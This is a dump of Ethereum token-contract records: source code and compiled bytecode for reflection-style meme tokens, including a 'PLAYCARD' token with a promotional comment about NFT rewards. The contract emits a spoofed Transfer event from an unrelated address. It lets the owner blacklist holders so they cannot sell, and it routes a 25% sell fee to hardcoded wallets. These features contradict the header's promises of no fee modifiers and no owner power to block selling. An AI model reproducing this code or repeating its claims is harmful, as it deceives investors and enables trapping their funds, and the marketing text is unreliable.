(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redistributionAddress, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101025760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b41146102a9578063a9059cbb146102d6578063c3c8cd80146102f6578063c9567bf91461030b578063dd62ed3e1461032057600080fd5b80636fc3eaec1461023757806370a082311461024c578063715018a61461026c5780638da5cb5b1461028157600080fd5b80632ab30838116100d15780632ab30838146101ce578063313ce567146101e5578063325b3b18146102015780635932ead11461021757600080fd5b806306fdde031461010e578063095ea7b31461015957806318160ddd1461018957806323b872dd146101ae57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152601081526f1d0b9b594bd195511bd9999a58da585b60821b60208201525b6040516101509190611111565b60405180910390f35b34801561016557600080fd5b5061017961017436600461117b565b610366565b6040519015158152602001610150565b34801561019557600080fd5b50670de0b6b3a76400005b604051908152602001610150565b3480156101ba57600080fd5b506101796101c93660046111a7565b61037d565b3480156101da57600080fd5b506101e36103e6565b005b3480156101f157600080fd5b5060405160098152602001610150565b34801561020d57600080fd5b506101a0600f5481565b34801561022357600080fd5b506101e36102323660046111f6565b610427565b34801561024357600080fd5b506101e361046f565b34801561025857600080fd5b506101a0610267366004611213565b61049c565b34801561027857600080fd5b506101e36104be565b34801561028d57600080fd5b506000546040516001600160a01b039091168152602001610150565b3480156102b557600080fd5b506040805180820190915260048152634655443f60e01b6020820152610143565b3480156102e257600080fd5b506101796102f136600461117b565b610532565b34801561030257600080fd5b506101e361053f565b34801561031757600080fd5b506101e3610575565b34801561032c57600080fd5b506101a061033b366004611230565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600061037333848461075b565b5060015b92915050565b600061038a84848461087f565b6103dc84336103d785604051806060016040528060288152602001611414602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610a36565b61075b565b5060019392505050565b6000546001600160a01b031633146104195760405162461bcd60e51b815260040161041090611269565b60405180910390fd5b670de0b6b3a7640000601055565b6000546001600160a01b031633146104515760405162461bcd60e51b815260040161041090611269565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461048f57600080fd5b4761049981610a70565b50565b6001600160a01b03811660009081526002602052604081205461037790610aae565b6000546001600160a01b031633146104e85760405162461bcd60e51b815260040161041090611269565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061037333848461087f565b600c546001600160a01b0316336001600160a01b03161461055f57600080fd5b600061056a3061049c565b905061049981610b32565b6000546001600160a01b0316331461059f5760405162461bcd60e51b815260040161041090611269565b600e54600160a01b900460ff16156105f95760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610410565b42600f55600d546001600160a01b031663f305d71947306106198161049c565b60008061062e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610696573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106bb919061129e565b5050600e8054662386f26fc1000060105563ffff00ff60a01b198116630101000160a01b17909155600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610737573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061049991906112cc565b6001600160a01b0383166107bd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610410565b6001600160a01b03821661081e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610410565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600081116108e15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610410565b6001600160a01b03831660009081526006602052604090205460ff161561090757600080fd5b6001600160a01b0383163014610a26576001600a908155600b55600e546001600160a01b03848116911614801561094c5750600d546001600160a01b03838116911614155b801561097157506001600160a01b03821660009081526005602052604090205460ff16155b80156109865750600e54600160b81b900460ff165b156109af57600f5461099990601e6112ff565b4210156109af576010548111156109af57600080fd5b60006109ba3061049c565b600e54909150600160a81b900460ff161580156109e55750600e546001600160a01b03858116911614155b80156109fa5750600e54600160b01b900460ff165b15610a2457610a0881610b32565b47670429d069189e0000811115610a2257610a2247610a70565b505b505b610a31838383610cac565b505050565b60008184841115610a5a5760405162461bcd60e51b81526004016104109190611111565b506000610a678486611317565b95945050505050565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610aaa573d6000803e3d6000fd5b5050565b6000600854821115610b155760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610410565b6000610b1f610cb7565b9050610b2b8382610cda565b9392505050565b600e805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610b7a57610b7a61132e565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610bd3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf79190611344565b81600181518110610c0a57610c0a61132e565b6001600160a01b039283166020918202929092010152600d54610c30913091168461075b565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610c69908590600090869030904290600401611361565b600060405180830381600087803b158015610c8357600080fd5b505af1158015610c97573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b610a31838383610d1c565b6000806000610cc4610e13565b9092509050610cd38282610cda565b9250505090565b6000610b2b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610e53565b600080600080600080610d2e87610e81565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610d609087610ede565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610d8f9086610f20565b6001600160a01b038916600090815260026020526040902055610db181610f7f565b610dbb8483610fc9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610e0091815260200190565b60405180910390a3505050505050505050565b6008546000908190670de0b6b3a7640000610e2e8282610cda565b821015610e4a57505060085492670de0b6b3a764000092509050565b90939092509050565b60008183610e745760405162461bcd60e51b81526004016104109190611111565b506000610a6784866113d2565b6000806000806000806000806000610e9e8a600a54600b54610fed565b9250925092506000610eae610cb7565b90506000806000610ec18e878787611042565b919e509c509a509598509396509194505050505091939550919395565b6000610b2b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a36565b600080610f2d83856112ff565b905083811015610b2b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610410565b6000610f89610cb7565b90506000610f978383611092565b30600090815260026020526040902054909150610fb49082610f20565b30600090815260026020526040902055505050565b600854610fd69083610ede565b600855600954610fe69082610f20565b6009555050565b600080808061100760646110018989611092565b90610cda565b9050600061101a60646110018a89611092565b905060006110328261102c8b86610ede565b90610ede565b9992985090965090945050505050565b60008080806110518886611092565b9050600061105f8887611092565b9050600061106d8888611092565b9050600061107f8261102c8686610ede565b939b939a50919850919650505050505050565b6000826110a157506000610377565b60006110ad83856113f4565b9050826110ba85836113d2565b14610b2b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610410565b600060208083528351808285015260005b8181101561113e57858101830151858201604001528201611122565b81811115611150576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461049957600080fd5b6000806040838503121561118e57600080fd5b823561119981611166565b946020939093013593505050565b6000806000606084860312156111bc57600080fd5b83356111c781611166565b925060208401356111d781611166565b929592945050506040919091013590565b801515811461049957600080fd5b60006020828403121561120857600080fd5b8135610b2b816111e8565b60006020828403121561122557600080fd5b8135610b2b81611166565b6000806040838503121561124357600080fd5b823561124e81611166565b9150602083013561125e81611166565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000806000606084860312156112b357600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156112de57600080fd5b8151610b2b816111e8565b634e487b7160e01b600052601160045260246000fd5b60008219821115611312576113126112e9565b500190565b600082821015611329576113296112e9565b500390565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561135657600080fd5b8151610b2b81611166565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156113b15784516001600160a01b03168352938301939183019160010161138c565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826113ef57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561140e5761140e6112e9565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ce7bc695e7ebcb8eb640af980264cd2b9f28d7faa1520bce8a5e5ea5420eb06564736f6c634300080a0033 | [
13,
0,
5
] |
0xf35af85f15d60f9416f572a0a7b95f796ea646c5 | /**
/*
* https://t.me/playingcardsnfts
______________________________________________________________________
PLAY CARD token
Backed by Playing Cards NFT's
A Total of 1000 NFT Cards
250 NFT’s Distribution to Token Holders
52 Ultra Rare NFT’s to Promoters and Early adopters/shillers
150 Super rare NFT’s will Be Sold at a rate of 0.1 ETH Each
125 Rare NFT’s will be Sold at a rate of 0.05 ETH Each
125 Rare NFT’s will be dropped to our TOP NFT Stackers
350 Common NFT’s to the NFT Stackers
https://t.me/playingcardsnfts
https://twitter.com/PlayingCardsNFT
$ Fair Launch
Bots will be sniped. 30s+ cooldown on each transaction.
$ - Rewards holding
5% of each transaction is redistributed to token holders. That means you can earn more PLAY CARD tokens by just holding them in your wallet.
$ - Decentralized & Safe
100% LP Locked, no tx or fee modifiers, 100% decentralized
$ - Renounced Ownership
What can't the owner do?
- Withdraw funds from the buyback contract
- Prevent anyone from selling or transferring their tokens
- Exclude addresses from rewards or from fees
- Modify the base liquidity fee and the redistribution fee up to a certain limit (Redistribution fee+BaseLiquidity fee <=20)
_____________________________________________________________________
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PLAYCARD is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "PLAYCARD | t.me/playingcardsnfts";
string private constant _symbol = "PC";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x39DeFb1A7DCc53D70974aF304F9C1C896D329A5e);
_feeAddrWallet2 = payable(0x0F87D083C4016557c77939747BaBd58D40299145);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 5;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 5;
_feeAddr2 = 20;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461031c578063b515566a14610359578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b8063273123b7116100d1578063273123b7146101de578063313ce567146102075780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b6040516101309190612ad9565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b919061266b565b61042a565b60405161016d9190612abe565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612c3b565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c3919061261c565b610459565b6040516101d59190612abe565b60405180910390f35b3480156101ea57600080fd5b506102056004803603810190610200919061258e565b610532565b005b34801561021357600080fd5b5061021c610622565b6040516102299190612cb0565b60405180910390f35b34801561023e57600080fd5b50610259600480360381019061025491906126e8565b61062b565b005b34801561026757600080fd5b506102706106dd565b005b34801561027e57600080fd5b506102996004803603810190610294919061258e565b61074f565b6040516102a69190612c3b565b60405180910390f35b3480156102bb57600080fd5b506102c46107a0565b005b3480156102d257600080fd5b506102db6108f3565b6040516102e891906129f0565b60405180910390f35b3480156102fd57600080fd5b5061030661091c565b6040516103139190612ad9565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e919061266b565b610959565b6040516103509190612abe565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b91906126a7565b610977565b005b34801561038e57600080fd5b50610397610ac7565b005b3480156103a557600080fd5b506103ae610b41565b005b3480156103bc57600080fd5b506103d760048036038101906103d291906125e0565b61109e565b6040516103e49190612c3b565b60405180910390f35b60606040518060400160405280602081526020017f504c415943415244207c20742e6d652f706c6179696e6763617264736e667473815250905090565b600061043e610437611125565b848461112d565b6001905092915050565b6000683635c9adc5dea00000905090565b60006104668484846112f8565b61052784610472611125565b6105228560405180606001604052806028815260200161332260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d8611125565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118fd9092919063ffffffff16565b61112d565b600190509392505050565b61053a611125565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105be90612b9b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610633611125565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b790612b9b565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661071e611125565b73ffffffffffffffffffffffffffffffffffffffff161461073e57600080fd5b600047905061074c81611961565b50565b6000610799600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5c565b9050919050565b6107a8611125565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610835576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082c90612b9b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600281526020017f5043000000000000000000000000000000000000000000000000000000000000815250905090565b600061096d610966611125565b84846112f8565b6001905092915050565b61097f611125565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0390612b9b565b60405180910390fd5b60005b8151811015610ac357600160066000848481518110610a57577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610abb90612f51565b915050610a0f565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b08611125565b73ffffffffffffffffffffffffffffffffffffffff1614610b2857600080fd5b6000610b333061074f565b9050610b3e81611aca565b50565b610b49611125565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bcd90612b9b565b60405180910390fd5b600f60149054906101000a900460ff1615610c26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1d90612c1b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cb630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061112d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cfc57600080fd5b505afa158015610d10573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3491906125b7565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d9657600080fd5b505afa158015610daa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dce91906125b7565b6040518363ffffffff1660e01b8152600401610deb929190612a0b565b602060405180830381600087803b158015610e0557600080fd5b505af1158015610e19573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3d91906125b7565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ec63061074f565b600080610ed16108f3565b426040518863f